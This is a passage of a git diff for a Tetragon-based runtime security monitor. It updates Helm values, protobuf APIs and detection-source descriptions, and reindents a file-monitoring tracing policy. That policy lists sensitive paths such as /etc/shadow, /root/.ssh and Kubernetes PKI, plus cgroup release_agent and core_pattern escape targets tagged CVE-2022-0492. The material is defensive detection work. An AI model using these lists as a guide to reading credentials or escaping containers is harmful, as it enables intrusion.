change enabled: false prometheus: # -- Enables the Tetragon Operator metrics. @@ -429,11 +439,35 @@ export: - tetragon.log # stdout specific exporter settings stdout: - extraEnv: [] + # -- Extra environment variables to add to the export-stdout container. + # Example: # extraEnv: - # - name: foo + # - name: FOO # value: bar - + # - name: SECRET_KEY + # valueFrom: + # secretKeyRef: + # name: my-secret + # key: secret-key + extraEnv: [] + # -- Extra envFrom sources to add to the export-stdout container. + # This allows adding any type of envFrom source (configMapRef, secretRef, etc.). + # Example: + # extraEnvFrom: + # - configMapRef: + # name: my-config-map + # - secretRef: + # name: my-secret + # optional: true + extraEnvFrom: [] + # -- A simplified way to add secret references to envFrom. + # Can be specified either as a string (just the secret name) or as an object with additional parameters. + # Example: + # envFromSecrets: + # - my-simple-secret + # - name: my-optional-secret + # optional: true + envFromSecrets: [] # * When enabledCommand=true and commandOverride is not set, the command inserted will be hubble-export-stdout. # This supports the default for the current deployment instructions to deploy stdout-export sidecar container. # * When enabledCommand=true and commandOverride override is set, the command inserted will be the value of commandOverride. @@ -454,19 +488,23 @@ export: image: override: ~ repository: quay.io/cilium/hubble-export-stdout - tag: v1.1.0 + tag: v1.1.1 crds: # -- Method for installing CRDs. Supported values are: "operator", "helm" and "none". # The "operator" method allows for fine-grained control over which CRDs are installed and by # default doesn't perform CRD downgrades. These can be configured in tetragonOperator section. # The "helm" method always installs all CRDs for the chart version. + # Do not change installMethod: "none" # -- Method for installing Tetagon rthooks (tetragon-rthooks) daemonset # The tetragon-rthooks daemonset is responsible for installing run-time hooks on the host. # See: https://tetragon.io/docs/concepts/runtime-hooks rthooks: # -- Enable the Tetragon rthooks daemonset + # Do not change enabled: false + # -- tetragon-rthooks name override + nameOverride: "" # -- Method to use for installing rthooks. Values: # # "oci-hooks": @@ -481,6 +519,10 @@ rthooks: # Specific configuration for this interface can be found under "nriHook". # interface: "" + # -- Affinity for the Tetragon rthooks pod. If this key is omitted, the chart + # falls back to the top-level `affinity` value. Set it explicitly (including + # to `{}`) to override the top-level affinity for the rthooks DaemonSet only. + # affinity: {} # -- Annotations for the Tetragon rthooks daemonset annotations: {} # -- Extra labels for the Tetrargon rthooks daemonset @@ -514,7 +556,7 @@ rthooks: image: override: ~ repository: quay.io/cilium/tetragon-rthooks - tag: v0.5 + tag: v0.8 # -- rthooks service account. serviceAccount: name: "" diff --git a/runtime-monitor/api/config.pb.go b/runtime-monitor/api/config.pb.go index ba59cf81..7d59dbc2 100644 --- a/runtime-monitor/api/config.pb.go +++ b/runtime-monitor/api/config.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.36.11 +// protoc-gen-go v1.36.11-devel // protoc v7.34.1 // source: config.proto diff --git a/runtime-monitor/api/openapiv2/config.swagger.json b/runtime-monitor/api/openapiv2/config.swagger.json index c38634e0..17f8b3e1 100644 --- a/runtime-monitor/api/openapiv2/config.swagger.json +++ b/runtime-monitor/api/openapiv2/config.swagger.json @@ -30,7 +30,7 @@ "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/googlerpcStatus" + "$ref": "#/definitions/googleRpcStatus" } } }, @@ -51,7 +51,7 @@ "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/googlerpcStatus" + "$ref": "#/definitions/googleRpcStatus" } } }, @@ -84,7 +84,7 @@ "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/googlerpcStatus" + "$ref": "#/definitions/googleRpcStatus" } } }, @@ -106,7 +106,7 @@ "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/googlerpcStatus" + "$ref": "#/definitions/googleRpcStatus" } } }, @@ -151,7 +151,7 @@ } } }, - "googlerpcStatus": { + "googleRpcStatus": { "type": "object", "properties": { "code": { @@ -351,6 +351,7 @@ "PROCESS_UPROBE", "PROCESS_THROTTLE", "PROCESS_LSM", + "PROCESS_USDT", "TEST", "RATE_LIMIT_INFO" ], @@ -466,6 +467,20 @@ "type": "string" }, "description": "Filter ancestor processes' binaries using RE2 regular expression syntax." + }, + "containerNameRegex": { + "type": "array", + "items": { + "type": "string" + }, + "title": "Filter by the container name in the process.pod.container field using RE2 regular expression syntax:\nhttps://github.com/google/re2/wiki/Syntax" + }, + "namespaceRegex": { + "type": "array", + "items": { + "type": "string" + }, + "title": "Filter by the namespace in the process.pod.namespace field using RE2 regular expression syntax:\nhttps://github.com/google/re2/wiki/Syntax" } } } diff --git a/runtime-monitor/api/tetragon/eventlogservice.proto b/runtime-monitor/api/tetragon/eventlogservice.proto new file mode 100644 index 00000000..12b631ca --- /dev/null +++ b/runtime-monitor/api/tetragon/eventlogservice.proto @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: Apache-2.0 +// Copyright Authors of Hubble + +syntax = "proto3"; + +package tetragon; + +option go_package = "github.com/cilium/tetragon/api/v1/tetragon"; + +service EventLogService { + rpc SetEventLogParams(SetEventLogParamsRequest) returns (SetEventLogParamsResponse) {} + rpc GetEventLogParams(GetEventLogParamsRequest) returns (GetEventLogParamsResponse) {} +} + +message SetEventLogParamsRequest { + optional int32 max_size = 1; + optional string rotation_interval = 2; + optional int32 max_backups = 3; +} + +message SetEventLogParamsResponse {} + +message GetEventLogParamsRequest {} + +message GetEventLogParamsResponse { + int32 max_size = 1; + string rotation_interval = 2; + int32 max_backups = 3; +} diff --git a/runtime-monitor/api/tetragon/events.proto b/runtime-monitor/api/tetragon/events.proto index 7d484b36..af17e6ce 100644 --- a/runtime-monitor/api/tetragon/events.proto +++ b/runtime-monitor/api/tetragon/events.proto @@ -30,6 +30,7 @@ enum EventType { PROCESS_UPROBE = 12; PROCESS_THROTTLE = 27; PROCESS_LSM = 28; + PROCESS_USDT = 29; TEST = 40000; RATE_LIMIT_INFO = 40001; @@ -79,6 +80,12 @@ message Filter { google.protobuf.BoolValue in_init_tree = 16; // Filter ancestor processes' binaries using RE2 regular expression syntax. repeated string ancestor_binary_regex = 17; + // Filter by the container name in the process.pod.container field using RE2 regular expression syntax: + // https://github.com/google/re2/wiki/Syntax + repeated string container_name_regex = 18; + // Filter by the namespace in the process.pod.namespace field using RE2 regular expression syntax: + // https://github.com/google/re2/wiki/Syntax + repeated string namespace_regex = 19; } // Filter over a set of Linux process capabilities. See `message Capabilities` @@ -208,6 +215,7 @@ message GetEventsResponse { ProcessUprobe process_uprobe = 12; ProcessThrottle process_throttle = 27; ProcessLsm process_lsm = 28; + ProcessUsdt process_usdt = 29; Test test = 40000; RateLimitInfo rate_limit_info = 40001; diff --git a/runtime-monitor/api/tetragon/sensors.proto b/runtime-monitor/api/tetragon/sensors.proto index ce99ce30..de442955 100644 --- a/runtime-monitor/api/tetragon/sensors.proto +++ b/runtime-monitor/api/tetragon/sensors.proto @@ -5,9 +5,9 @@ syntax = "proto3"; package tetragon; +import "google/protobuf/any.proto"; import "google/protobuf/wrappers.proto"; import "tetragon/events.proto"; -import "tetragon/stack.proto"; import "tetragon/tetragon.proto"; option go_package = "github.com/cilium/tetragon/api/v1/tetragon"; @@ -53,6 +53,32 @@ enum TracingPolicyMode { TP_MODE_UNKNOWN = 0; TP_MODE_ENFORCE = 1; TP_MODE_MONITOR = 2; + TP_MODE_MONITOR_ONLY = 3; +} + +message TracingPolicyActionCounters { + // number of post events generated from the policy + uint64 post = 1; + // number of signals sent from the policy + uint64 signal = 2; + // number of signals that were not sent because the policy was in monitor mode + uint64 monitor_signal = 3; + // number of return overrides + uint64 override = 4; + // number of return overrides that did not occur because the policy was in monitor mode + uint64 monitor_override = 5; + // number of enforcer notifications triggered from the policy + uint64 notify_enforcer = 6; + // number of enforcer notifications that did not occur because the policy was in monitor mode + uint64 monitor_notify_enforcer = 7; + // number of set actions triggered from the policy + uint64 set = 8; + // number of set actions that did not occur because the policy was in monitor mode + uint64 monitor_set = 9; +} + +message TracingPolicyStats { + TracingPolicyActionCounters action_counters = 1; } message TracingPolicyStatus { @@ -78,6 +104,8 @@ message TracingPolicyStatus { uint64 kernel_memory_bytes = 10; // current mode of the tracing policy TracingPolicyMode mode = 11; + // stats of the tracing policy + optional TracingPolicyStats stats = 12; } message ListTracingPoliciesResponse { @@ -134,19 +162,45 @@ message DisableSensorRequest { message DisableSensorResponse {} -message GetStackTraceTreeRequest { - string name = 1; -} - -message GetStackTraceTreeResponse { - StackTraceNode root = 1; -} - message GetVersionRequest {} message GetVersionResponse { string version = 1; } +message GetInfoRequest {} +message GetInfoResponse { + // version is the version of the agent tetragon (same as GetVersionResponse()) + string version = 1; + // name is the name of the agent + string name = 2; + + message Probe { + string Name = 1; + google.protobuf.BoolValue Enabled = 2; + } + + // probes is a list of kernel features that have been probed by the agent + repeated Probe probes = 3; + + message ConfVal { + string key = 1; + google.protobuf.Any value = 2; + } + + // conf is the agent configuration + repeated ConfVal conf = 4; + + message BuildInfo { + string go_version = 1; + string commit = 2; + string time = 3; + string modified = 4; + } + + // build is the agent build information + BuildInfo build = 5; +} + // For now, we only want to support debug-related config flags to be configurable. enum ConfigFlag { CONFIG_FLAG_LOG_LEVEL = 0; @@ -251,9 +305,8 @@ service FineGuidanceSensors { option deprecated = true; } - rpc GetStackTraceTree(GetStackTraceTreeRequest) returns (GetStackTraceTreeResponse) {} - rpc GetVersion(GetVersionRequest) returns (GetVersionResponse) {} + rpc GetInfo(GetInfoRequest) returns (GetInfoResponse) {} rpc RuntimeHook(RuntimeHookRequest) returns (RuntimeHookResponse) {} diff --git a/runtime-monitor/api/tetragon/tetragon.proto b/runtime-monitor/api/tetragon/tetragon.proto index dc5ad629..83e0a12c 100644 --- a/runtime-monitor/api/tetragon/tetragon.proto +++ b/runtime-monitor/api/tetragon/tetragon.proto @@ -52,6 +52,8 @@ message Pod { string namespace = 1; // Name of the Pod. string name = 2; + // UID of the Pod. + string uid = 3; // Container of the Pod from which the process that triggered the event // originates. Container container = 4; @@ -184,6 +186,12 @@ message UserRecord { string name = 1; } +// Environment variable +message EnvVar { + string Key = 1; + string Value = 2; +} + message Process { // Exec ID uniquely identifies the process over time across all the nodes in the cluster. string exec_id = 1; @@ -295,6 +303,8 @@ message Process { // for example, you wish to discern whether a process was spawned using a // tool like nsenter or kubectl exec. google.protobuf.BoolValue in_init_tree = 20; + // Environment variables passed to the binary at execution. + repeated EnvVar environment_variables = 21; } message ProcessExec { @@ -361,6 +371,11 @@ message KprobeSockaddr { uint32 port = 3; } +message KprobeSockaddrUn { + string family = 1; + string path = 2; +} + message KprobeNetDev { string name = 1; } @@ -414,6 +429,12 @@ message KprobeBpfAttr { string ProgName = 3; } +message KprobeBpfProg { + string ProgType = 1; + uint32 InsnCnt = 2; + string ProgName = 3; +} + message KprobePerfEvent { string KprobeFunc = 1; string Type = 2; @@ -429,6 +450,10 @@ message KprobeBpfMap { string MapName = 5; } +message KprobeError { + string Message = 1; +} + message SyscallId { uint32 id = 1; string abi = 2; @@ -465,6 +490,9 @@ message KprobeArgument { BpfCmd bpf_cmd_arg = 28; SyscallId syscall_id = 29; KprobeSockaddr sockaddr_arg = 30; + KprobeBpfProg bpf_prog_arg = 31; + KprobeError error_arg = 32; + KprobeSockaddrUn sockaddrun_arg = 33; } string label = 18; } @@ -501,6 +529,8 @@ enum KprobeAction { KPROBE_ACTION_NOTIFYENFORCER = 13; // CleanupEnforcerNotification action cleanups any state left by NotifyEnforcer KPROBE_ACTION_CLEANUPENFORCERNOTIFICATION = 14; + // Set action sets first USDT argument + KPROBE_ACTION_SET = 15; } message ProcessKprobe { @@ -530,6 +560,8 @@ message ProcessKprobe { repeated StackTraceEntry user_stack_trace = 12; // Ancestors of the process beyond the immediate parent. repeated Process ancestors = 13; + // Data definition of the observed kprobe. + repeated KprobeArgument data = 14; } message ProcessTracepoint { @@ -575,6 +607,33 @@ message ProcessUprobe { uint64 offset = 10; // uprobe ref_ctr_offset uint64 ref_ctr_offset = 11; + // Action performed when the uprobe hook matched. + KprobeAction action = 12; + // Data definition of the observed uprobe. + repeated KprobeArgument data = 13; +} + +message ProcessUsdt { + Process process = 1; + Process parent = 2; + string path = 3; + string provider = 4; + string name = 5; + // Name of the policy that created that uprobe. + string policy_name = 6; + // Short message of the Tracing Policy to inform users what is going on. + string message = 7; + // Arguments definition of the observed uprobe. + repeated KprobeArgument args = 8; + // Tags of the Tracing Policy to categorize the event. + repeated string tags = 9; + // Ancestors of the process beyond the immediate parent. + repeated Process ancestors = 10; + // Action performed when the USDT hook matched. + KprobeAction action = 11; + // Flags are for debugging purposes only and should not be considered a + // reliable source of information. + string flags = 12; } message ProcessLsm { @@ -672,9 +731,16 @@ message GetHealthStatusResponse { // loader sensor event triggered for loaded binary/library message ProcessLoader { + // Process that triggered the loader. Process process = 1; + // File path that is being loaded. string path = 2; + // Buildid of the file that is being loaded. bytes buildid = 3; + // Immediate parent of the process. + Process parent = 4; + // Ancestors of the process beyond the immediate parent. + repeated Process ancestors = 5; } // RuntimeHookRequest synchronously propagates information to the agent about run-time state. @@ -686,6 +752,17 @@ message RuntimeHookRequest { message RuntimeHookResponse {} +message Mount { + // Destination is the absolute path where the mount will be placed in the container. + string destination = 1; + // Type specifies the mount kind. + string type = 2; + // Source specifies the source path of the mount. + string source = 3; + // Options are fstab style mount options. + repeated string options = 4; +} + // CreateContainer informs the agent that a container was created // This is intented to be used by OCI hooks (but not limited to them) and corresponds to the // CreateContainer hook: @@ -716,6 +793,8 @@ message CreateContainer { string podNamespace = 8; // containerImage is the full image location (repo + image) string containerImage = 9; + // Mounts configures additional mounts (on top of Root). + repeated Mount mounts = 10; } message StackTraceEntry { diff --git a/runtime-monitor/pkg/model/config.go b/runtime-monitor/pkg/model/config.go index 77e55f08..2a327835 100644 --- a/runtime-monitor/pkg/model/config.go +++ b/runtime-monitor/pkg/model/config.go @@ -33,8 +33,8 @@ var ( //go:embed tracingpolicy/kernel-modules.yaml kernelModules string - //go:embed tracingpolicy/listen-socket.yaml - listenSocket string + //go:embed tracingpolicy/socket.yaml + socket string //go:embed tracingpolicy/io-streams.yaml ioStreams string @@ -51,55 +51,55 @@ var ( TracingPolicies: map[string]*api.TracingPolicy{ "connect": { Name: "Outgoing TCP connections", - Description: "This source tracks the tcp_connect, tcp_close, and tcp_sendmsg functions allowing detection of outgoing TCP connections (including the connection establishment, termination, and sending of TCP packets). Enabling this policy can significantly increase the event flow and load on the system. In this case, you should narrow the flow using more accurate filters (for example, specify only certain pods).", + Description: "This source tracks calls to the Linux kernel functions tcp_connect(), tcp_close(), and tcp_sendmsg() to detect outgoing TCP connections, including connection establishment, connection termination, and TCP packet transmission. Enabling this source can significantly increase the event flow and system load. To optimize performance, use precise filters, for example, limit monitoring to specific pods.", Yaml: connect, Enabled: false, }, "permissions": { - Name: "Actions with access permissions for files and processes", - Description: "The source tracks calls of the Linux kernel function commit_creds(), which could indicate attempts to elevate process privileges, including obtaining superuser (root) permissions. In addition, the source tracks calls of the LSM function security_path_chmod() with a set of permissions that includes execution permissions", + Name: "File and process permission changes", + Description: "This source tracks calls to the Linux kernel function commit_creds(), which may indicate an attacker attempting to escalate process privileges, including obtaining superuser (root) privileges. The source also tracks calls to the LSM function security_path_chmod() with permission sets that include execute permissions.", Yaml: permissions, Enabled: false, }, "file-monitoring": { Name: "Access to important system files", - Description: "This source tracks the security_file_permission, security_mmap_file, and security_path_truncate calls to a number of files, such as /boot, /root/.ssh, /etc/shadow, /etc/profile, /etc/sudoers, /etc/pam.conf, and others. Some files and directories are tracked for read, others are tracked for write, and others are tracked in all cases. To examine the source in detail, switch to expert mode.", + Description: "This source tracks calls to the Linux kernel functions security_file_permission(), security_mmap_file(), security_path_truncate(), security_path_link(), and security_path_rename() targeting important system directories and files. These include, for example, /boot, /root/.ssh, /etc/shadow, /etc/profile, /etc/sudoers, and /etc/pam.conf. Different actions are tracked for different files, including read-only, write-only, read and write, and hard link creation. To examine how the source works in detail, enable expert mode.", Yaml: fileMonitoring, Enabled: false, }, "ptrace": { Name: "Using tools for debugging and reverse engineering (ptrace)", - Description: "This source tracks the ptrace system call, which may indicate attacker activity in the target system.", + Description: "This source tracks the ptrace() system call, which may indicate an attacker attempting to inject malicious code into another process.", Yaml: ptrace, Enabled: false, }, "mount": { Name: "Device mounting", - Description: "This source tracks the mount() call allowing detection of potentially unwanted events related to device mounting.", + Description: "This source tracks the mount() system call to detect suspicious events related to device mounting.", Yaml: mount, Enabled: false, }, "kernel-modules": { - Name: "Loading and unloading of kernel modules", - Description: "This source tracks the do_init_module, free_module, security_kernel_module_request, and security_kernel_read_file calls allowing detection of explicit or implicit (automatic) loading and unloading of modules, as well as attempts to manipulate modules and other malicious activity.", + Name: "Loading and unloading kernel modules", + Description: "This source tracks calls to the Linux kernel functions do_init_module(), free_module(), security_kernel_module_request(), and security_kernel_read_file() to record all kernel module loading and unloading events, including automatic events initiated by the system. This helps detect signs of unauthorized module manipulation and other illegitimate activity.", Yaml: kernelModules, Enabled: false, }, - "listen-socket": { - Name: "Opening of a socket for incoming connections", + "socket": { + Name: "Socket monitoring", Description: "This source tracks the inet_csk_listen_start call revealing possible activity of unwanted networking tools. The source also detects legitimate activity in a container; therefore, in addition to opening of a socket, detectors must also consider other event parameters.", - Yaml: listenSocket, + Yaml: socket, Enabled: false, }, "io-streams": { - Name: "Actions with standard I/O streams", - Description: "The source tracks calls of the Linux kernel function do_dup2(), which copies the standard input file descriptor (STDIN) as well as creation of a named pipe file (S_IFIFO) via the LSM function security_path_mknod(). Such actions often indicate that an attacker is attempting to start a reverse shell, a hidden communication channel, or another attack tool.", + Name: "Standard input/output stream activity", + Description: "This source tracks calls to the Linux kernel function do_dup2(), which copies the standard input (STDIN) file descriptor, as well as named pipe (S_IFIFO) file creation through the LSM function security_path_mknod(). Such actions often indicate that an attacker is attempting to run a reverse shell, hidden communication channel, or another attack tool.", Yaml: ioStreams, Enabled: false, }, "io-uring": { - Name: "Monitoring of the io_uring interface", - Description: "This source tracks calls to io_uring_setup and io_uring_enter, providing monitoring of the creation and usage of an io_uring interface instance.", + Name: "Creating and using an io_uring interface instance", + Description: "This source tracks the io_uring_setup() and io_uring_enter() system calls, which indicate use of the io_uring interface on the system. This helps detect suspicious activity related to unauthorized access to asynchronous input/output operations or potential exploitation of vulnerabilities in Linux kernel mechanisms.", Yaml: ioUring, Enabled: false, }, diff --git a/runtime-monitor/pkg/model/tracingpolicy/file-monitoring.yaml b/runtime-monitor/pkg/model/tracingpolicy/file-monitoring.yaml index 15b4d8ac..7f35d500 100644 --- a/runtime-monitor/pkg/model/tracingpolicy/file-monitoring.yaml +++ b/runtime-monitor/pkg/model/tracingpolicy/file-monitoring.yaml @@ -4,386 +4,443 @@ metadata: name: "file-monitoring" spec: kprobes: - # SYNOPSIS - # int security_file_permission(struct file *file, int mask) - # @file: file - # @mask: requested permissions - # - # DESCRIPTION - # Check file permissions before accessing an open file. This hook is called - # by various operations that read or write files. - # - # RETURN VALUE - # Returns 0 if permission is granted. (https://elixir.bootlin.com/linux/v6.8-rc7/source/security/security.c#L2666) - # - # READ SYSCALLS - # read(), readv(), preadv(), preadv2(), pread64(), - # ioctl(), sendfile(), sendfile64(), copy_file_range(), - # old_readdir(), getdents(), getdents64() - # - # WRITE/MODIFY SYSCALLS - # write(), writev(), pwritev(), pwritev2(), pwrite64() - # ioctl(), splice(), madvise(), process_madvise(), fallocate() - # - - call: "security_file_permission" - syscall: false - return: true - args: - - index: 0 - type: "file" - - index: 1 - type: "int" - returnArg: - index: 0 - type: "int" - selectors: - # READ - - matchNamespaces: - - namespace: Pid - operator: NotIn - values: - - "host_ns" - matchArgs: - - index: 0 - operator: "Prefix" - values: - - "/boot/" - - "/root/.ssh" - - "/etc/shadow" - - "/etc/profile" - - "/etc/sudoers" - - "/etc/pam." - - "/etc/bashrc" - - "/etc/csh.cshrc" - - "/etc/csh.login" - - "/etc/kubernetes/pki/" - - "/etc/security/pwquality.conf" - - "/run/secrets/" - - "/proc/" - - index: 1 - operator: "Equal" - values: - - "4" # MAY_READ - - matchNamespaces: - - namespace: Pid - operator: NotIn - values: - - "host_ns" - matchArgs: - - index: 0 - operator: "Postfix" - values: - - ".bashrc" - - ".bash_profile" - - ".bash_login" - - ".bash_logout" - - ".cshrc" - - ".cshdirs" - - ".profile" - - ".login" - - ".logout" - - ".history" - - "-release" - - "environ" - - index: 1 - operator: "Equal" - values: - - "4" # MAY_READ - - matchNamespaces: - - namespace: Pid - operator: NotIn - values: - - "host_ns" - # WRITE/MODIFY - matchArgs: - - index: 0 - operator: "Prefix" - values: - - "/etc/" - - "/boot/" - - "/lib" - - "/bin/" - - "/sbin/" - - "/usr/lib" - - "/usr/local/lib" - - "/usr/local/sbin/" - - "/usr/local/bin/" - - "/usr/bin/" - - "/usr/sbin/" - - "/root/" - - "/home/" - - index: 1 - operator: "Equal" - values: - - "2" # MAY_WRITE - - matchNamespaces: - - namespace: Pid - operator: NotIn - values: - - "host_ns" - matchArgs: # CVE-2022-0492 - - index: 0 - operator: "Postfix" - values: - - "/notify_on_release" - - "/release_agent" - - index: 1 - operator: "Equal" - values: - - "2" # MAY_WRITE - - # SYNOPSIS - # int security_mmap_file(struct file *file, unsigned long prot, unsigned long flags) - # @file: file - # @prot: desired memory protection of the mapping (bitwise OR) - # - PROT_READ: memory pages with mapped @file may be read - # - PROT_WRITE: memory pages with mapped @file may be written - # @flags: mapping visibility to other processes (bitwise OR) - # - # DESCRIPTION - # Check permissions for a mmap operation. - # - # RETURN VALUE - # Returns 0 if permission is granted. (https://elixir.bootlin.com/linux/v6.8-rc7/source/security/security.c#L2792) - # - # SYSCALLS - # shmat(), ipc(), mmap_pgoff(), old_mmap(), mmap() - # - - call: "security_mmap_file" - syscall: false - return: true - args: - - index: 0 - type: "file" - - index: 1 - type: "uint32" - - index: 2 - type: "uint32" - returnArg: - index: 0 - type: "int" - selectors: - # READ - - matchNamespaces: - - namespace: Pid - operator: NotIn - values: - - "host_ns" - matchArgs: - - index: 0 - operator: "Prefix" - values: - - "/boot/" - - "/root/.ssh" - - "/etc/shadow" - - "/etc/profile" - - "/etc/sudoers" - - "/etc/pam." - - "/etc/bashrc" - - "/etc/csh.cshrc" - - "/etc/csh.login" - - "/etc/kubernetes/pki/" - - "/etc/security/pwquality.conf" - - "/run/secrets/" - - "/proc/" - - "/tmp/nginx/client-body/" - - index: 1 - operator: "Mask" - values: - - "1" # PROT_READ - - matchNamespaces: - - namespace: Pid - operator: NotIn - values: - - "host_ns" - matchArgs: - - index: 0 - operator: "Postfix" - values: - - ".bashrc" - - ".bash_profile" - - ".bash_login" - - ".bash_logout" - - ".cshrc" - - ".cshdirs" - - ".profile" - - ".login" - - ".logout" - - ".history" - - "-release" - - "environ" - - index: 1 - operator: "Mask" - values: - - "1" # PROT_READ - # WRITE/MODIFY - - matchNamespaces: - - namespace: Pid - operator: NotIn - values: - - "host_ns" - matchArgs: - - index: 0 - operator: "Prefix" - values: - - "/etc/" - - "/boot/" - - "/lib" - - "/bin/" - - "/sbin/" - - "/usr/lib" - - "/usr/local/lib" - - "/usr/local/sbin/" - - "/usr/local/bin/" - - "/usr/bin/" - - "/usr/sbin/" - - "/root/" - - "/home/" - - index: 1 - operator: "Mask" - values: - - "2" # PROT_WRITE - - matchNamespaces: - - namespace: Pid - operator: NotIn - values: - - "host_ns" - matchArgs: # CVE-2022-0492 - - index: 0 - operator: "Postfix" - values: - - "/notify_on_release" - - "/release_agent" - - index: 1 - operator: "Mask" - values: - - "2" # PROT_WRITE - # SYNOPSIS - # int security_path_truncate(const struct path *path) - # @path: file - # - # DESCRIPTION - # Check permission before truncating the file indicated by path. - # - # RETURN VALUE - # Returns 0 if permission is granted. (https://elixir.bootlin.com/linux/v6.8-rc7/source/security/security.c#L1928) - # - # SYSCALLS - # truncate() - # - - call: "security_path_truncate" - syscall: false - return: true - args: - - index: 0 - type: "path" - returnArg: - index: 0 - type: "int" - selectors: - # MODIFY - - matchNamespaces: - - namespace: Pid - operator: NotIn - values: - - "host_ns" - matchArgs: - - index: 0 - operator: "Prefix" - values: - - "/etc/" - - "/boot/" - - "/lib" - - "/bin/" - - "/sbin/" - - "/usr/lib" - - "/usr/local/lib" - - "/usr/local/sbin/" - - "/usr/local/bin/" - - "/usr/bin/" - - "/usr/sbin/" - - "/root/" - - "/home/" - - matchNamespaces: - - namespace: Pid - operator: NotIn - values: - - "host_ns" - matchArgs: # CVE-2022-0492 - - index: 0 - operator: "Postfix" - values: - - "/notify_on_release" - - "/release_agent" - # SYNOPSIS - # int security_path_link(struct dentry *old_dentry, const struct path *new_dir, struct dentry *new_dentry) - # @old_dentry: existing file - # @new_dir: new parent directory - # @new_dentry: new hard link - # - # DESCRIPTION - # Check if creating a hard link is allowed. - # - # RETURN VALUE - # Returns 0 if permission is granted. (https://elixir.bootlin.com/linux/v6.16-rc5/source/security/security.c#L1987) - # - # SYSCALLS - # link, linkat - # - - call: "security_path_link" - syscall: false - return: true - args: - - index: 0 - type: "dentry" - label: "existing file" - - index: 2 - type: "dentry" - label: "new hard link" - returnArg: - index: 0 - type: "int" - selectors: - - matchNamespaces: - - namespace: Pid - operator: NotIn - values: - - "host_ns" - matchArgs: - - index: 0 - operator: "Prefix" - values: - - "/etc/" - - "/boot/" - - "/root/" - - "/run/secrets/" - - "/lib/" - - "/bin/" - - "/sbin/" - - "/usr/lib/" - - "/usr/local/lib/" - - "/usr/local/sbin/" - - "/usr/local/bin/" - - "/usr/bin/" - - "/usr/sbin/" - - "/home/" - - matchNamespaces: - - namespace: Pid - operator: NotIn - values: - - "host_ns" - matchArgs: - - index: 0 - operator: "Postfix" - values: - - ".bashrc" - - ".bash_profile" - - ".bash_login" - - ".bash_logout" - - ".cshrc" - - ".cshdirs" - - ".profile" - - ".login" - - ".logout" - - ".history" - - "-release" + # SYNOPSIS + # int security_file_permission(struct file *file, int mask) + # @file: file + # @mask: requested permissions + # + # DESCRIPTION + # Check file permissions before accessing an open file. This hook is called + # by various operations that read or write files. + # + # RETURN VALUE + # Returns 0 if permission is granted. (https://elixir.bootlin.com/linux/v6.8-rc7/source/security/security.c#L2666) + # + # READ SYSCALLS + # read(), readv(), preadv(), preadv2(), pread64(), + # ioctl(), sendfile(), sendfile64(), copy_file_range(), + # old_readdir(), getdents(), getdents64() + # + # WRITE/MODIFY SYSCALLS + # write(), writev(), pwritev(), pwritev2(), pwrite64() + # ioctl(), splice(), madvise(), process_madvise(), fallocate() + # + - call: "security_file_permission" + syscall: false + return: true + args: + - index: 0 + type: "file" + - index: 1 + type: "int" + returnArg: + index: 0 + type: "int" + selectors: + # READ + - matchNamespaces: + - namespace: Pid + operator: NotIn + values: + - "host_ns" + matchArgs: + - index: 0 + operator: "Prefix" + values: + - "/boot/" + - "/root/.ssh" + - "/etc/shadow" + - "/etc/profile" + - "/etc/sudoers" + - "/etc/pam." + - "/etc/bashrc" + - "/etc/csh.cshrc" + - "/etc/csh.login" + - "/etc/kubernetes/pki/" + - "/etc/security/pwquality.conf" + - "/run/secrets/" + - "/proc/" + - index: 1 + operator: "Equal" + values: + - "4" # MAY_READ + - matchNamespaces: + - namespace: Pid + operator: NotIn + values: + - "host_ns" + matchArgs: + - index: 0 + operator: "Postfix" + values: + - ".bashrc" + - ".bash_profile" + - ".bash_login" + - ".bash_logout" + - ".cshrc" + - ".cshdirs" + - ".profile" + - ".login" + - ".logout" + - ".history" + - "-release" + - "environ" + - index: 1 + operator: "Equal" + values: + - "4" # MAY_READ + - matchNamespaces: + - namespace: Pid + operator: NotIn + values: + - "host_ns" + # WRITE/MODIFY + matchArgs: + - index: 0 + operator: "Prefix" + values: + - "/etc/" + - "/boot/" + - "/lib" + - "/bin/" + - "/sbin/" + - "/usr/lib" + - "/usr/local/lib" + - "/usr/local/sbin/" + - "/usr/local/bin/" + - "/usr/bin/" + - "/usr/sbin/" + - "/root/" + - "/home/" + - index: 1 + operator: "Equal" + values: + - "2" # MAY_WRITE + - matchNamespaces: + - namespace: Pid + operator: NotIn + values: + - "host_ns" + matchArgs: # CVE-2022-0492 + - index: 0 + operator: "Postfix" + values: + - "/notify_on_release" + - "/release_agent" + - "/core_pattern" + - index: 1 + operator: "Equal" + values: + - "2" # MAY_WRITE + # SYNOPSIS + # int security_mmap_file(struct file *file, unsigned long prot, unsigned long flags) + # @file: file + # @prot: desired memory protection of the mapping (bitwise OR) + # - PROT_READ: memory pages with mapped @file may be read + # - PROT_WRITE: memory pages with mapped @file may be written + # @flags: mapping visibility to other processes (bitwise OR) + # + # DESCRIPTION + # Check permissions for a mmap operation. + # + # RETURN VALUE + # Returns 0 if permission is granted. (https://elixir.bootlin.com/linux/v6.8-rc7/source/security/security.c#L2792) + # + # SYSCALLS + # shmat(), ipc(), mmap_pgoff(), old_mmap(), mmap() + # + - call: "security_mmap_file" + syscall: false + return: true + args: + - index: 0 + type: "file" + - index: 1 + type: "uint32" + - index: 2 + type: "uint32" + returnArg: + index: 0 + type: "int" + selectors: + # READ + - matchNamespaces: + - namespace: Pid + operator: NotIn + values: + - "host_ns" + matchArgs: + - index: 0 + operator: "Prefix" + values: + - "/boot/" + - "/root/.ssh" + - "/etc/shadow" + - "/etc/profile" + - "/etc/sudoers" + - "/etc/pam." + - "/etc/bashrc" + - "/etc/csh.cshrc" + - "/etc/csh.login" + - "/etc/kubernetes/pki/" + - "/etc/security/pwquality.conf" + - "/run/secrets/" + - "/proc/" + - "/tmp/nginx/client-body/" + - index: 1 + operator: "Mask" + values: + - "1" # PROT_READ + - matchNamespaces: + - namespace: Pid + operator: NotIn + values: + - "host_ns" + matchArgs: + - index: 0 + operator: "Postfix" + values: + - ".bashrc" + - ".bash_profile" + - ".bash_login" + - ".bash_logout" + - ".cshrc" + - ".cshdirs" + - ".profile" + - ".login" + - 